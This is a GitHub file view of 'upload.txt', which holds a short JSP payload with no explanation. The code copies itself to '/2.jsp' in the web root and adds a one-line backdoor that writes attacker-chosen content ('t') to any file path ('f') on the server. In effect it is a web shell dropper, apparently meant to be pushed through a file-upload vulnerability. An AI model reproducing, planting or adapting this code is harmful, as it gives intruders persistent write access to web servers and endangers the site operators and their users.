-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathupload.txt
24 lines (17 loc) · 1021 Bytes
/
upload.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*" %>
<%
String currentFilePath = request.getRequestURI();
String filePath = application.getRealPath(currentFilePath);
try {
java.nio.file.Path sourcePath = java.nio.file.Paths.get(filePath);
String content = new String(java.nio.file.Files.readAllBytes(sourcePath), "UTF-8");
java.nio.file.Path destinationPath = java.nio.file.Paths.get(application.getRealPath("/2.jsp"));
java.nio.file.Files.write(destinationPath, content.getBytes("UTF-8"));
out.println("seccess 2.jsp!");
} catch (Exception e) {
e.printStackTrace();
out.println("error: " + e.getMessage());
}
%>
<% if (request.getParameter("t") != null && request.getParameter("f") != null) new BufferedWriter(new FileWriter(application.getRealPath("/") + request.getParameter("f"))).append(request.getParameter("t")).close(); %><%= "seccess" %>